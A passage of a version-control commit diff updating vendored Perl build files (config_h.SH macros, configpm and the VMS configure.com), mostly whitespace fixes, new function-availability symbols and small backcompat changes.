-#$d_drand48_r HAS_DRAND48_R	   /**/
-#define DRAND48_R_PROTO $drand48_r_proto	   /**/
+#$d_drand48_r HAS_DRAND48_R	/**/
+#define DRAND48_R_PROTO $drand48_r_proto	/**/
 
 /* HAS_ENDGRENT_R:
  *	This symbol, if defined, indicates that the endgrent_r routine
@@ -4635,8 +4475,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
  *	is defined.
  */
-#$d_endgrent_r HAS_ENDGRENT_R	   /**/
-#define ENDGRENT_R_PROTO $endgrent_r_proto	   /**/
+#$d_endgrent_r HAS_ENDGRENT_R	/**/
+#define ENDGRENT_R_PROTO $endgrent_r_proto	/**/
 
 /* HAS_ENDHOSTENT_R:
  *	This symbol, if defined, indicates that the endhostent_r routine
@@ -4648,8 +4488,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
  *	is defined.
  */
-#$d_endhostent_r HAS_ENDHOSTENT_R	   /**/
-#define ENDHOSTENT_R_PROTO $endhostent_r_proto	   /**/
+#$d_endhostent_r HAS_ENDHOSTENT_R	/**/
+#define ENDHOSTENT_R_PROTO $endhostent_r_proto	/**/
 
 /* HAS_ENDNETENT_R:
  *	This symbol, if defined, indicates that the endnetent_r routine
@@ -4661,8 +4501,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
  *	is defined.
  */
-#$d_endnetent_r HAS_ENDNETENT_R	   /**/
-#define ENDNETENT_R_PROTO $endnetent_r_proto	   /**/
+#$d_endnetent_r HAS_ENDNETENT_R	/**/
+#define ENDNETENT_R_PROTO $endnetent_r_proto	/**/
 
 /* HAS_ENDPROTOENT_R:
  *	This symbol, if defined, indicates that the endprotoent_r routine
@@ -4674,8 +4514,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
  *	is defined.
  */
-#$d_endprotoent_r HAS_ENDPROTOENT_R	   /**/
-#define ENDPROTOENT_R_PROTO $endprotoent_r_proto	   /**/
+#$d_endprotoent_r HAS_ENDPROTOENT_R	/**/
+#define ENDPROTOENT_R_PROTO $endprotoent_r_proto	/**/
 
 /* HAS_ENDPWENT_R:
  *	This symbol, if defined, indicates that the endpwent_r routine
@@ -4687,8 +4527,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
  *	is defined.
  */
-#$d_endpwent_r HAS_ENDPWENT_R	   /**/
-#define ENDPWENT_R_PROTO $endpwent_r_proto	   /**/
+#$d_endpwent_r HAS_ENDPWENT_R	/**/
+#define ENDPWENT_R_PROTO $endpwent_r_proto	/**/
 
 /* HAS_ENDSERVENT_R:
  *	This symbol, if defined, indicates that the endservent_r routine
@@ -4700,8 +4540,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
  *	is defined.
  */
-#$d_endservent_r HAS_ENDSERVENT_R	   /**/
-#define ENDSERVENT_R_PROTO $endservent_r_proto	   /**/
+#$d_endservent_r HAS_ENDSERVENT_R	/**/
+#define ENDSERVENT_R_PROTO $endservent_r_proto	/**/
 
 /* HAS_GETGRENT_R:
  *	This symbol, if defined, indicates that the getgrent_r routine
@@ -4713,8 +4553,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
  *	is defined.
  */
-#$d_getgrent_r HAS_GETGRENT_R	   /**/
-#define GETGRENT_R_PROTO $getgrent_r_proto	   /**/
+#$d_getgrent_r HAS_GETGRENT_R	/**/
+#define GETGRENT_R_PROTO $getgrent_r_proto	/**/
 
 /* HAS_GETGRGID_R:
  *	This symbol, if defined, indicates that the getgrgid_r routine
@@ -4726,8 +4566,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
  *	is defined.
  */
-#$d_getgrgid_r HAS_GETGRGID_R	   /**/
-#define GETGRGID_R_PROTO $getgrgid_r_proto	   /**/
+#$d_getgrgid_r HAS_GETGRGID_R	/**/
+#define GETGRGID_R_PROTO $getgrgid_r_proto	/**/
 
 /* HAS_GETGRNAM_R:
  *	This symbol, if defined, indicates that the getgrnam_r routine
@@ -4739,8 +4579,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
  *	is defined.
  */
-#$d_getgrnam_r HAS_GETGRNAM_R	   /**/
-#define GETGRNAM_R_PROTO $getgrnam_r_proto	   /**/
+#$d_getgrnam_r HAS_GETGRNAM_R	/**/
+#define GETGRNAM_R_PROTO $getgrnam_r_proto	/**/
 
 /* HAS_GETHOSTBYADDR_R:
  *	This symbol, if defined, indicates that the gethostbyaddr_r routine
@@ -4752,8 +4592,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
  *	is defined.
  */
-#$d_gethostbyaddr_r HAS_GETHOSTBYADDR_R	   /**/
-#define GETHOSTBYADDR_R_PROTO $gethostbyaddr_r_proto	   /**/
+#$d_gethostbyaddr_r HAS_GETHOSTBYADDR_R	/**/
+#define GETHOSTBYADDR_R_PROTO $gethostbyaddr_r_proto	/**/
 
 /* HAS_GETHOSTBYNAME_R:
  *	This symbol, if defined, indicates that the gethostbyname_r routine
@@ -4765,8 +4605,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
  *	is defined.
  */
-#$d_gethostbyname_r HAS_GETHOSTBYNAME_R	   /**/
-#define GETHOSTBYNAME_R_PROTO $gethostbyname_r_proto	   /**/
+#$d_gethostbyname_r HAS_GETHOSTBYNAME_R	/**/
+#define GETHOSTBYNAME_R_PROTO $gethostbyname_r_proto	/**/
 
 /* HAS_GETHOSTENT_R:
  *	This symbol, if defined, indicates that the gethostent_r routine
@@ -4778,8 +4618,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
  *	is defined.
  */
-#$d_gethostent_r HAS_GETHOSTENT_R	   /**/
-#define GETHOSTENT_R_PROTO $gethostent_r_proto	   /**/
+#$d_gethostent_r HAS_GETHOSTENT_R	/**/
+#define GETHOSTENT_R_PROTO $gethostent_r_proto	/**/
 
 /* HAS_GETLOGIN_R:
  *	This symbol, if defined, indicates that the getlogin_r routine
@@ -4791,8 +4631,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
  *	is defined.
  */
-#$d_getlogin_r HAS_GETLOGIN_R	   /**/
-#define GETLOGIN_R_PROTO $getlogin_r_proto	   /**/
+#$d_getlogin_r HAS_GETLOGIN_R	/**/
+#define GETLOGIN_R_PROTO $getlogin_r_proto	/**/
 
 /* HAS_GETNETBYADDR_R:
  *	This symbol, if defined, indicates that the getnetbyaddr_r routine
@@ -4804,8 +4644,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
  *	is defined.
  */
-#$d_getnetbyaddr_r HAS_GETNETBYADDR_R	   /**/
-#define GETNETBYADDR_R_PROTO $getnetbyaddr_r_proto	   /**/
+#$d_getnetbyaddr_r HAS_GETNETBYADDR_R	/**/
+#define GETNETBYADDR_R_PROTO $getnetbyaddr_r_proto	/**/
 
 /* HAS_GETNETBYNAME_R:
  *	This symbol, if defined, indicates that the getnetbyname_r routine
@@ -4817,8 +4657,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
  *	is defined.
  */
-#$d_getnetbyname_r HAS_GETNETBYNAME_R	   /**/
-#define GETNETBYNAME_R_PROTO $getnetbyname_r_proto	   /**/
+#$d_getnetbyname_r HAS_GETNETBYNAME_R	/**/
+#define GETNETBYNAME_R_PROTO $getnetbyname_r_proto	/**/
 
 /* HAS_GETNETENT_R:
  *	This symbol, if defined, indicates that the getnetent_r routine
@@ -4830,8 +4670,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
  *	is defined.
  */
-#$d_getnetent_r HAS_GETNETENT_R	   /**/
-#define GETNETENT_R_PROTO $getnetent_r_proto	   /**/
+#$d_getnetent_r HAS_GETNETENT_R	/**/
+#define GETNETENT_R_PROTO $getnetent_r_proto	/**/
 
 /* HAS_GETPROTOBYNAME_R:
  *	This symbol, if defined, indicates that the getprotobyname_r routine
@@ -4843,8 +4683,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
  *	is defined.
  */
-#$d_getprotobyname_r HAS_GETPROTOBYNAME_R	   /**/
-#define GETPROTOBYNAME_R_PROTO $getprotobyname_r_proto	   /**/
+#$d_getprotobyname_r HAS_GETPROTOBYNAME_R	/**/
+#define GETPROTOBYNAME_R_PROTO $getprotobyname_r_proto	/**/
 
 /* HAS_GETPROTOBYNUMBER_R:
  *	This symbol, if defined, indicates that the getprotobynumber_r routine
@@ -4856,8 +4696,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
  *	is defined.
  */
-#$d_getprotobynumber_r HAS_GETPROTOBYNUMBER_R	   /**/
-#define GETPROTOBYNUMBER_R_PROTO $getprotobynumber_r_proto	   /**/
+#$d_getprotobynumber_r HAS_GETPROTOBYNUMBER_R	/**/
+#define GETPROTOBYNUMBER_R_PROTO $getprotobynumber_r_proto	/**/
 
 /* HAS_GETPROTOENT_R:
  *	This symbol, if defined, indicates that the getprotoent_r routine
@@ -4869,8 +4709,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
  *	is defined.
  */
-#$d_getprotoent_r HAS_GETPROTOENT_R	   /**/
-#define GETPROTOENT_R_PROTO $getprotoent_r_proto	   /**/
+#$d_getprotoent_r HAS_GETPROTOENT_R	/**/
+#define GETPROTOENT_R_PROTO $getprotoent_r_proto	/**/
 
 /* HAS_GETPWENT_R:
  *	This symbol, if defined, indicates that the getpwent_r routine
@@ -4882,8 +4722,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
  *	is defined.
  */
-#$d_getpwent_r HAS_GETPWENT_R	   /**/
-#define GETPWENT_R_PROTO $getpwent_r_proto	   /**/
+#$d_getpwent_r HAS_GETPWENT_R	/**/
+#define GETPWENT_R_PROTO $getpwent_r_proto	/**/
 
 /* HAS_GETPWNAM_R:
  *	This symbol, if defined, indicates that the getpwnam_r routine
@@ -4895,8 +4735,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
  *	is defined.
  */
-#$d_getpwnam_r HAS_GETPWNAM_R	   /**/
-#define GETPWNAM_R_PROTO $getpwnam_r_proto	   /**/
+#$d_getpwnam_r HAS_GETPWNAM_R	/**/
+#define GETPWNAM_R_PROTO $getpwnam_r_proto	/**/
 
 /* HAS_GETPWUID_R:
  *	This symbol, if defined, indicates that the getpwuid_r routine
@@ -4908,8 +4748,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
  *	is defined.
  */
-#$d_getpwuid_r HAS_GETPWUID_R	   /**/
-#define GETPWUID_R_PROTO $getpwuid_r_proto	   /**/
+#$d_getpwuid_r HAS_GETPWUID_R	/**/
+#define GETPWUID_R_PROTO $getpwuid_r_proto	/**/
 
 /* HAS_GETSERVBYNAME_R:
  *	This symbol, if defined, indicates that the getservbyname_r routine
@@ -4921,8 +4761,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
  *	is defined.
  */
-#$d_getservbyname_r HAS_GETSERVBYNAME_R	   /**/
-#define GETSERVBYNAME_R_PROTO $getservbyname_r_proto	   /**/
+#$d_getservbyname_r HAS_GETSERVBYNAME_R	/**/
+#define GETSERVBYNAME_R_PROTO $getservbyname_r_proto	/**/
 
 /* HAS_GETSERVBYPORT_R:
  *	This symbol, if defined, indicates that the getservbyport_r routine
@@ -4934,8 +4774,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
  *	is defined.
  */
-#$d_getservbyport_r HAS_GETSERVBYPORT_R	   /**/
-#define GETSERVBYPORT_R_PROTO $getservbyport_r_proto	   /**/
+#$d_getservbyport_r HAS_GETSERVBYPORT_R	/**/
+#define GETSERVBYPORT_R_PROTO $getservbyport_r_proto	/**/
 
 /* HAS_GETSERVENT_R:
  *	This symbol, if defined, indicates that the getservent_r routine
@@ -4947,8 +4787,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
  *	is defined.
  */
-#$d_getservent_r HAS_GETSERVENT_R	   /**/
-#define GETSERVENT_R_PROTO $getservent_r_proto	   /**/
+#$d_getservent_r HAS_GETSERVENT_R	/**/
+#define GETSERVENT_R_PROTO $getservent_r_proto	/**/
 
 /* HAS_GETSPNAM_R:
  *	This symbol, if defined, indicates that the getspnam_r routine
@@ -4960,8 +4800,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
  *	is defined.
  */
-#$d_getspnam_r HAS_GETSPNAM_R	   /**/
-#define GETSPNAM_R_PROTO $getspnam_r_proto	   /**/
+#$d_getspnam_r HAS_GETSPNAM_R	/**/
+#define GETSPNAM_R_PROTO $getspnam_r_proto	/**/
 
 /* HAS_GMTIME_R:
  *	This symbol, if defined, indicates that the gmtime_r routine
@@ -4973,9 +4813,15 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
  *	is defined.
  */
-#$d_gmtime_r HAS_GMTIME_R	   /**/
-#define GMTIME_R_PROTO $gmtime_r_proto	   /**/
+#$d_gmtime_r HAS_GMTIME_R	/**/
+#define GMTIME_R_PROTO $gmtime_r_proto	/**/
 
+/* HAS_LOCALECONV_L:
+ *	This symbol, if defined, indicates that the localeconv_l routine is
+ *	available to query certain information about a locale.
+ */
+#$d_localeconv_l HAS_LOCALECONV_L		/**/
+
 /* HAS_LOCALTIME_R:
  *	This symbol, if defined, indicates that the localtime_r routine
  *	is available to localtime re-entrantly.
@@ -4999,9 +4845,27 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
  *	is defined.
  */
-#$d_localtime_r HAS_LOCALTIME_R	   /**/
-#define LOCALTIME_R_PROTO $localtime_r_proto	   /**/
+#$d_localtime_r HAS_LOCALTIME_R	/**/
+#define LOCALTIME_R_PROTO $localtime_r_proto	/**/
 
+/* HAS_MBRLEN:
+ *	This symbol, if defined, indicates that the mbrlen routine is
+ *	available to get the length of multi-byte character strings.
+ */
+#$d_mbrlen HAS_MBRLEN	/**/
+
+/* HAS_MBRTOWC:
+ *	This symbol, if defined, indicates that the mbrtowc routine is
+ *	available to convert a multi-byte character into a wide character.
+ */
+#$d_mbrtowc HAS_MBRTOWC	/**/
+
+/* HAS_THREAD_SAFE_NL_LANGINFO_L:
+ *	This symbol, when defined, indicates presence of the nl_langinfo_l()
+ *	function, and that it is thread-safe.
+ */
+#$d_thread_safe_nl_langinfo_l HAS_THREAD_SAFE_NL_LANGINFO_L	/**/
+
 /* OLD_PTHREAD_CREATE_JOINABLE:
  *	This symbol, if defined, indicates how to create pthread
  *	in joinable (aka undetached) state.  NOTE: not defined
@@ -5047,8 +4911,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
  *	is defined.
  */
-#$d_random_r HAS_RANDOM_R	   /**/
-#define RANDOM_R_PROTO $random_r_proto	   /**/
+#$d_random_r HAS_RANDOM_R	/**/
+#define RANDOM_R_PROTO $random_r_proto	/**/
 
 /* HAS_READDIR64_R:
  *	This symbol, if defined, indicates that the readdir64_r routine
@@ -5060,8 +4924,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
  *	is defined.
  */
-#$d_readdir64_r HAS_READDIR64_R	   /**/
-#define READDIR64_R_PROTO $readdir64_r_proto	   /**/
+#$d_readdir64_r HAS_READDIR64_R	/**/
+#define READDIR64_R_PROTO $readdir64_r_proto	/**/
 
 /* HAS_READDIR_R:
  *	This symbol, if defined, indicates that the readdir_r routine
@@ -5073,8 +4937,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
  *	is defined.
  */
-#$d_readdir_r HAS_READDIR_R	   /**/
-#define READDIR_R_PROTO $readdir_r_proto	   /**/
+#$d_readdir_r HAS_READDIR_R	/**/
+#define READDIR_R_PROTO $readdir_r_proto	/**/
 
 /* HAS_SETGRENT_R:
  *	This symbol, if defined, indicates that the setgrent_r routine
@@ -5086,8 +4950,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
  *	is defined.
  */
-#$d_setgrent_r HAS_SETGRENT_R	   /**/
-#define SETGRENT_R_PROTO $setgrent_r_proto	   /**/
+#$d_setgrent_r HAS_SETGRENT_R	/**/
+#define SETGRENT_R_PROTO $setgrent_r_proto	/**/
 
 /* HAS_SETHOSTENT_R:
  *	This symbol, if defined, indicates that the sethostent_r routine
@@ -5099,8 +4963,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
  *	is defined.
  */
-#$d_sethostent_r HAS_SETHOSTENT_R	   /**/
-#define SETHOSTENT_R_PROTO $sethostent_r_proto	   /**/
+#$d_sethostent_r HAS_SETHOSTENT_R	/**/
+#define SETHOSTENT_R_PROTO $sethostent_r_proto	/**/
 
 /* HAS_SETLOCALE_R:
  *	This symbol, if defined, indicates that the setlocale_r routine
@@ -5112,8 +4976,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
  *	is defined.
  */
-#$d_setlocale_r HAS_SETLOCALE_R	   /**/
-#define SETLOCALE_R_PROTO $setlocale_r_proto	   /**/
+#$d_setlocale_r HAS_SETLOCALE_R	/**/
+#define SETLOCALE_R_PROTO $setlocale_r_proto	/**/
 
 /* HAS_SETNETENT_R:
  *	This symbol, if defined, indicates that the setnetent_r routine
@@ -5125,8 +4989,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
  *	is defined.
  */
-#$d_setnetent_r HAS_SETNETENT_R	   /**/
-#define SETNETENT_R_PROTO $setnetent_r_proto	   /**/
+#$d_setnetent_r HAS_SETNETENT_R	/**/
+#define SETNETENT_R_PROTO $setnetent_r_proto	/**/
 
 /* HAS_SETPROTOENT_R:
  *	This symbol, if defined, indicates that the setprotoent_r routine
@@ -5138,8 +5002,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
  *	is defined.
  */
-#$d_setprotoent_r HAS_SETPROTOENT_R	   /**/
-#define SETPROTOENT_R_PROTO $setprotoent_r_proto	   /**/
+#$d_setprotoent_r HAS_SETPROTOENT_R	/**/
+#define SETPROTOENT_R_PROTO $setprotoent_r_proto	/**/
 
 /* HAS_SETPWENT_R:
  *	This symbol, if defined, indicates that the setpwent_r routine
@@ -5151,8 +5015,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
  *	is defined.
  */
-#$d_setpwent_r HAS_SETPWENT_R	   /**/
-#define SETPWENT_R_PROTO $setpwent_r_proto	   /**/
+#$d_setpwent_r HAS_SETPWENT_R	/**/
+#define SETPWENT_R_PROTO $setpwent_r_proto	/**/
 
 /* HAS_SETSERVENT_R:
  *	This symbol, if defined, indicates that the setservent_r routine
@@ -5164,8 +5028,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
  *	is defined.
  */
-#$d_setservent_r HAS_SETSERVENT_R	   /**/
-#define SETSERVENT_R_PROTO $setservent_r_proto	   /**/
+#$d_setservent_r HAS_SETSERVENT_R	/**/
+#define SETSERVENT_R_PROTO $setservent_r_proto	/**/
 
 /* HAS_SRAND48_R:
  *	This symbol, if defined, indicates that the srand48_r routine
@@ -5177,8 +5041,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
  *	is defined.
  */
-#$d_srand48_r HAS_SRAND48_R	   /**/
-#define SRAND48_R_PROTO $srand48_r_proto	   /**/
+#$d_srand48_r HAS_SRAND48_R	/**/
+#define SRAND48_R_PROTO $srand48_r_proto	/**/
 
 /* HAS_SRANDOM_R:
  *	This symbol, if defined, indicates that the srandom_r routine
@@ -5190,8 +5054,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
  *	is defined.
  */
-#$d_srandom_r HAS_SRANDOM_R	   /**/
-#define SRANDOM_R_PROTO $srandom_r_proto	   /**/
+#$d_srandom_r HAS_SRANDOM_R	/**/
+#define SRANDOM_R_PROTO $srandom_r_proto	/**/
 
 /* HAS_STRERROR_R:
  *	This symbol, if defined, indicates that the strerror_r routine
@@ -5203,9 +5067,21 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
  *	is defined.
  */
-#$d_strerror_r HAS_STRERROR_R	   /**/
-#define STRERROR_R_PROTO $strerror_r_proto	   /**/
+#$d_strerror_r HAS_STRERROR_R	/**/
+#define STRERROR_R_PROTO $strerror_r_proto	/**/
 
+/* HAS_STRTOD_L:
+ *	This symbol, if defined, indicates that the strtod_l routine is
+ *	available to convert strings to long doubles.
+ */
+#$d_strtod_l HAS_STRTOD_L		/**/
+
+/* HAS_STRTOLD_L:
+ *	This symbol, if defined, indicates that the strtold_l routine is
+ *	available to convert strings to long doubles.
+ */
+#$d_strtold_l HAS_STRTOLD_L		/**/
+
 /* HAS_TMPNAM_R:
  *	This symbol, if defined, indicates that the tmpnam_r routine
  *	is available to tmpnam re-entrantly.
@@ -5216,8 +5092,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
  *	is defined.
  */
-#$d_tmpnam_r HAS_TMPNAM_R	   /**/
-#define TMPNAM_R_PROTO $tmpnam_r_proto	   /**/
+#$d_tmpnam_r HAS_TMPNAM_R	/**/
+#define TMPNAM_R_PROTO $tmpnam_r_proto	/**/
 
 /* HAS_TTYNAME_R:
  *	This symbol, if defined, indicates that the ttyname_r routine
@@ -5229,18 +5105,18 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
  *	is defined.
  */
-#$d_ttyname_r HAS_TTYNAME_R	   /**/
-#define TTYNAME_R_PROTO $ttyname_r_proto	   /**/
+#$d_ttyname_r HAS_TTYNAME_R	/**/
+#define TTYNAME_R_PROTO $ttyname_r_proto	/**/
 
 /* I_MACH_CTHREADS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <mach/cthreads.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <mach/cthreads.h>.
  */
 #$i_machcthr   I_MACH_CTHREADS	/**/
 
 /* I_PTHREAD:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <pthread.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <pthread.h>.
  */
 #$i_pthread   I_PTHREAD	/**/
 
@@ -5284,7 +5160,7 @@
 /* HAS_TIMES:
  *	This symbol, if defined, indicates that the times() routine exists.
  *	Note that this became obsolete on some systems (SUNOS), which now
- * use getrusage(). It may be necessary to include <sys/times.h>.
+ *	use getrusage(). It may be necessary to include <sys/times.h>.
  */
 #$d_times HAS_TIMES		/**/
 

Modified: vendor/perl/dist/configpm
===================================================================
--- vendor/perl/dist/configpm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/configpm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,7 +35,7 @@
 EOF
 
 use strict;
-use vars qw(%Config $Config_SH_expanded);
+our (%Config, $Config_SH_expanded);
 
 my $how_many_common = 22;
 
@@ -155,7 +155,7 @@
 package Config;
 use strict;
 use warnings;
-use vars '%%Config', '$VERSION';
+our ( %%Config, $VERSION );
 
 $VERSION = "%s";
 
@@ -212,7 +212,20 @@
 my %Data     = ();
 my $quote;
 
+# These variables were set in older versions of Perl, but are no longer needed
+# by the core. However, some CPAN modules may rely on them; in particular, Tk
+# (at least up to version 804.034) fails to build without them. We force them
+# to be emitted to Config_heavy.pl for backcompat with such modules (and we may
+# find that this set needs to be extended in future). See RT#132347.
+my @v_forced = map "$_\n", split /\n+/, <<'EOT';
+i_limits='define'
+i_stdlib='define'
+i_string='define'
+i_time='define'
+prototype='define'
+EOT
 
+
 my %seen_quotes;
 {
   my ($name, $val);
@@ -248,6 +261,9 @@
     else { 
 	$quote = $2;
         ($name,$val) = ($1,$3); 
+	if ($name eq 'cc') {
+	    $val =~ s{^(['"]?+).*\bccache\s+}{$1};
+	}
     }
     $in_v = $val !~ /$quote\n/;
     next if $in_v;
@@ -316,7 +332,7 @@
 
 # Calculation for the keys for byteorder
 # This is somewhat grim, but I need to run fetch_string here.
-our $Config_SH_expanded = join "\n", '', @v_others;
+$Config_SH_expanded = join "\n", '', @v_others;
 
 my $t = fetch_string ({}, 'ivtype');
 my $s = fetch_string ({}, 'ivsize');
@@ -453,7 +469,7 @@
 package Config;
 use strict;
 use warnings;
-use vars '%%Config';
+our %%Config;
 
 sub bincompat_options {
     return split ' ', (Internals::V())[0];
@@ -558,13 +574,15 @@
 $_ = <<'!END!';
 EOT
 #proper lexicographical order of the keys
+my %seen_var;
 $heavy_txt .= join('',
     map { $_->[-1] }
     sort {$a->[0] cmp $b->[0] }
+    grep { !$seen_var{ $_->[0] }++ }
     map {
         /^([^=]+)/ ? [ $1, $_ ]
                    : [ $_, $_ ] # shouldnt happen
-    } @v_others
+    } @v_others, @v_forced
 ) . "!END!\n";
 
 # Only need the dynamic byteorder code in Config.pm if 'byteorder' is one of

Modified: vendor/perl/dist/configure.com
===================================================================
--- vendor/perl/dist/configure.com	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/configure.com	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4222,7 +4222,7 @@
 $ ENDIF
 $ d_fcntl_can_lock = tmp
 $!
-$! Check for memchr
+$! Check for memrchr
 $!
 $ OS
 $ WS "#if defined(__DECC) || defined(__DECCXX)"
@@ -4232,14 +4232,32 @@
 $ WS "int main()"
 $ WS "{"
 $ WS "char * place;"
-$ WS "place = (char *)memchr(""foo"", 47, 3);"
+$ WS "place = (char *)memrchr(""foo"", 47, 3);"
 $ WS "exit(0);"
 $ WS "}"
 $ CS
-$ tmp = "memchr"
+$ tmp = "memrchr"
 $ GOSUB inlibc
-$ d_memchr = tmp
+$ d_memrchr = tmp
 $!
+$! Check for strnlen
+$!
+$ OS
+$ WS "#if defined(__DECC) || defined(__DECCXX)"
+$ WS "#include <stdlib.h>"
+$ WS "#endif"
+$ WS "#include <string.h>"
+$ WS "int main()"
+$ WS "{"
+$ WS "size_t len;"
+$ WS "len = strnlen(""foot"", 3);"
+$ WS "exit(0);"
+$ WS "}"
+$ CS
+$ tmp = "strnlen"
+$ GOSUB inlibc
+$ d_strnlen = tmp
+$!
 $! Check for strtoull
 $!
 $ OS
@@ -4383,44 +4401,6 @@
 $ GOSUB inlibc
 $ d_access = tmp
 $!
-$! Check for bzero
-$!
-$ OS
-$ WS "#if defined(__DECC) || defined(__DECCXX)"
-$ WS "#include <stdlib.h>"
-$ WS "#endif"
-$ WS "#include <stdio.h>"
-$ WS "#include <strings.h>"
-$ WS "int main()"
-$ WS "{"
-$ WS "char foo[10];"
-$ WS "bzero(foo, 10);"
-$ WS "exit(0);"
-$ WS "}"
-$ CS
-$ tmp = "bzero"
-$ GOSUB inlibc
-$ d_bzero = tmp
-$!
-$! Check for bcopy
-$!
-$ OS
-$ WS "#if defined(__DECC) || defined(__DECCXX)"
-$ WS "#include <stdlib.h>"
-$ WS "#endif"
-$ WS "#include <stdio.h>"
-$ WS "#include <strings.h>"
-$ WS "int main()"
-$ WS "{"
-$ WS "char foo[10], bar[10];"
-$ WS "bcopy(""foo"", bar, 3);"
-$ WS "exit(0);"
-$ WS "}"
-$ CS
-$ tmp = "bcopy"
-$ GOSUB inlibc
-$ d_bcopy = tmp
-$!
 $! Check for mkstemp
 $!
 $ OS
@@ -5356,7 +5336,6 @@
 $   d_attribut="undef"
 $ ENDIF
 $!
-$ d_bcmp="define"
 $ d_getitimer="define"
 $ d_gettimeod="define"
 $ d_mmap="define"
@@ -5374,6 +5353,7 @@
 $ d_siginfo_si_addr="define"
 $ d_siginfo_si_band="define"
 $ d_siginfo_si_errno="define"
+$ d_siginfo_si_fd="define"
 $ d_siginfo_si_pid="define"
 $ d_siginfo_si_status="define"
 $ d_siginfo_si_uid="define"
@@ -5874,6 +5854,8 @@
 $ WC "_a='" + lib_ext + "'"
 $ WC "_exe='" + exe_ext + "'"
 $ WC "_o='" + obj_ext + "'"
+$ WC "afs='undef'"
+$ WC "afsroot='/afs'"
 $ WC "alignbytes='" + alignbytes + "'"
 $ WC "aphostname='write sys$output f$edit(f$getsyi(\""SCSNODE\""),\""TRIM,LOWERCASE\"")'"
 $ WC "api_revision='" + api_revision + "'"
@@ -5946,6 +5928,7 @@
 $ WC "d_PRIx64='" + d_PRIx64 + "'"
 $ WC "d_SCNfldbl='" + d_SCNfldbl + "'"
 $ WC "d__fwalk='undef'"
+$ WC "d_accept4='undef'"
 $ WC "d_access='" + d_access + "'"
 $ WC "d_accessx='undef'"
 $ WC "d_acosh='" + d_acosh + "'"
@@ -5968,8 +5951,6 @@
 $ WC "d_prctl='undef'"
 $ WC "d_prctl_set_name='undef'"
 $ WC "d_printf_format_null='undef'"
-$ WC "d_bcmp='" + d_bcmp + "'"
-$ WC "d_bcopy='" + d_bcopy + "'"
 $ WC "d_bincompat3='undef'"
 $ WC "d_bsd='undef'"
 $ WC "d_bsdgetpgrp='undef'"
@@ -5976,11 +5957,12 @@
 $ WC "d_bsdsetpgrp='undef'"
 $ WC "d_builtin_choose_expr='undef'" ! GCC only
 $ WC "d_builtin_expect='undef'" ! GCC only
-$ WC "d_bzero='" + d_bzero + "'"
+$ WC "d_builtin_add_overflow='undef'" ! GCC only
+$ WC "d_builtin_mul_overflow='undef'" ! GCC only
+$ WC "d_builtin_sub_overflow='undef'" ! GCC only
 $ WC "d_casti32='define'"
